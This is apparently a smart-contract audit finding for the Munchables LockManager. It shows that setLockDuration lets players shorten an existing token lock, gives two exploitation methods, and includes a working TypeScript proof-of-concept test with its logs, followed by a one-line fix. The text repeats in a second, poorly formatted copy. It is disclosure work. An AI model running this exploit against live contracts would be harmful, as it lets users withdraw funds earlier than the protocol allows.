Players are able to reduce the lock up duration of their already locked tokens, allowing them to unlock earlier than specified. This is because while setLockDuration checks to see that a new lock duration will not cause already locked tokens' unlockTime to be set to a smaller value, the actual calculation of the new unlockTime is based on lastLockTime, which doesn't change.
Assuming there are locked tokens, there are two methodologies an attacker could use to exploit this logic mistake, depending on how quickly they want to unlock their tokens and how how much gas they wish to spend.
In the first Methodology, the attacker repeatedly changes the lock duration through setLockDuration. Each change must be in its own different block, because block.timestamp has to vary between iterations. The new value for the lock duration would be calculated as follows:
For each iteration $n$:
$ D_n=unlockTime_n−currentTimestamp_n $
where $D_n$ is the new lock duration.
This formula will satisfy the aforementioned check in setLockDuration and set a new unlockTime that is the smallest allowable value given the check. Moreover, the allowed reduction of unlockTime increases by 1 after each iteration. Therefore the amount of iterations needed to bring down unlockTime close to zero for a an initial lock duration $D_1$ is given by:
The currentTimestamp used in the formula does not require precise accuracy. An attacker could estimate the timestamp of the next block with enough room for error.
This method is gas-intensive and its effectiveness depends on the frequency of mined blocks.
The second methodology involves waiting for convenient percentages of unlockTime to elapse in order to make very few but effective lock duration reductions. For example, an attacker could wait for a $1/4$ of the unlock time to elapse before bringing down unlockTime to $75$% of its initial value. After that, once the current timestamp is around half of this updated unlockTime (which is $37.5$% of its original value), the attacker can immediately bring down unlockTime to 0 seconds. So the attacker would actually lock for only $37.5$% of the original lock duration, using only two transactions to achieve this.
Proof of Concept
The POC demonstrates the first methodology. Place the following test code inside tests/managers/LockManager/setLockDuration.test.ts:
describe("POC - when player has locked tokens", () => {
const initialLockDuration = 720n; // 720 seconds
let unlockTime: bigint; // the value we want to bring as low as possible
let lastLockTime: bigint;
beforeEach(async () => {
// set the initial lock duration
const { request } = await testContracts.lockManager.contract.simulate.setLockDuration(
[initialLockDuration],
{ account: alice }
);
const setLockDurationTxHash = await testClient.writeContract(request);
await assertTxSuccess({ txHash: setLockDurationTxHash });
// now lock some WETH
const lockEthTxHash = await testContracts.lockManager.contract.write.lock(
[zeroAddress, parseEther("2")],
{
account: alice,
value: parseEther("2"),
}
);
await assertTxSuccess({ txHash: lockEthTxHash });
const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
assert(lockedTokens instanceof Array);
const lockedEthToken = lockedTokens.find((t) => t.tokenContract === zeroAddress);
assert.ok(lockedEthToken);
assert.equal(
lockedEthToken.lockedToken.unlockTime,
lockedEthToken.lockedToken.lastLockTime + Number(initialLockDuration)
);
console.log("locked WETH tokens before time reduction: ", lockedEthToken);
// record unlockTime and lastLockTime
unlockTime = BigInt(lockedEthToken.lockedToken.unlockTime);
lastLockTime = BigInt(lockedEthToken.lockedToken.lastLockTime);
})
it.only("should bring unlockTime as close to the lastLockTime as possible", async () => {
let rounds = 0;
while (unlockTime - lastLockTime > 1n) { // stop when the difference is 1 second
const latestBlock = await testClient.getBlock({ blockTag: "latest" });
const nextBlockTimestamp = latestBlock.timestamp + 1n
await testClient.setNextBlockTimestamp({ timestamp: nextBlockTimestamp });
// + 2n to deal with some anvil discrepancy in the block.timestamp use in the contract
// adjust this value within small bounds to see what works in your environemt
let newLockDuration = unlockTime - nextBlockTimestamp + 2n;
if ( newLockDuration < 0n ) {
newLockDuration = 1n;
}
const txHash = await testContracts.lockManager.contract.write.setLockDuration(
[newLockDuration],
{
account: alice,
}
);
await assertTxSuccess({ txHash });
const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
assert(lockedTokens instanceof Array);
const lockedEthToken = lockedTokens.find((t) => t.tokenContract === zeroAddress);
unlockTime = BigInt(lockedEthToken.lockedToken.unlockTime);
rounds++;
}
const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
assert(lockedTokens instanceof Array);
console.log("lockedTokens after time reduction: ", lockedTokens.find((t) => t.tokenContract === zeroAddress));
console.log("rounds needed to to reduce to a difference of 1 seconds between unlockTime and lastLockTime: ", rounds )
})
})
test logs:
Note the reduction in unlockTime
locked WETH tokens before time reduction: {
lockedToken: {
quantity: 2000000000000000000n,
remainder: 0n,
lastLockTime: 1713316685,
unlockTime: 1713317405
},
tokenContract: '0x0000000000000000000000000000000000000000'
}
lockedTokens after time reduction: {
lockedToken: {
quantity: 2000000000000000000n,
remainder: 0n,
lastLockTime: 1713316685,
unlockTime: 1713316686
},
tokenContract: '0x0000000000000000000000000000000000000000'
}
rounds needed to to reduce to a difference of 1 seconds between unlockTime and lastLockTime: 40
▶ POC - when player has locked tokens
✔ should bring unlockTime as close to the lastLockTime as possible (243.349365ms)
Tools Used
Foundry, Remix
Recommended Mitigation Steps
Make the calculation of the new unlockTime in setLockDuration use block.timestamp instead of the old lastLockTime.
Lines of code
https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L256 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L265
Vulnerability details
Impact
Players are able to reduce the lock up duration of their already locked tokens, allowing them to unlock earlier than specified. This is because while
setLockDuration
checks to see that a new lock duration will not cause already locked tokens'unlockTime
to be set to a smaller value, the actual calculation of the newunlockTime
is based onlastLockTime
, which doesn't change.Assuming there are locked tokens, there are two methodologies an attacker could use to exploit this logic mistake, depending on how quickly they want to unlock their tokens and how how much gas they wish to spend.
In the first Methodology, the attacker repeatedly changes the lock duration through
setLockDuration
. Each change must be in its own different block, becauseblock.timestamp
has to vary between iterations. The new value for the lock duration would be calculated as follows:For each iteration $n$: $ D_n=unlockTime_n−currentTimestamp_n $
where $D_n$ is the new lock duration.
This formula will satisfy the aforementioned check in
setLockDuration
and set a newunlockTime
that is the smallest allowable value given the check. Moreover, the allowed reduction ofunlockTime
increases by 1 after each iteration. Therefore the amount of iterations needed to bring downunlockTime
close to zero for a an initial lock duration $D_1$ is given by:$n = \left\lceil \frac{-1 + \sqrt{1 + 4D_1}}{2} \right\rceil$
The currentTimestamp used in the formula does not require precise accuracy. An attacker could estimate the timestamp of the next block with enough room for error.
This method is gas-intensive and its effectiveness depends on the frequency of mined blocks.
The second methodology involves waiting for convenient percentages of
unlockTime
to elapse in order to make very few but effective lock duration reductions. For example, an attacker could wait for a $1/4$ of the unlock time to elapse before bringing downunlockTime
to $75$% of its initial value. After that, once the current timestamp is around half of this updatedunlockTime
(which is $37.5$% of its original value), the attacker can immediately bring downunlockTime
to 0 seconds. So the attacker would actually lock for only $37.5$% of the original lock duration, using only two transactions to achieve this.Proof of Concept
The POC demonstrates the first methodology. Place the following test code inside
tests/managers/LockManager/setLockDuration.test.ts
:test logs:
Note the reduction in unlockTime
Tools Used
Foundry, Remix
Recommended Mitigation Steps
Make the calculation of the new unlockTime in
setLockDuration
use block.timestamp instead of the old lastLockTime.Assessed type
Access Control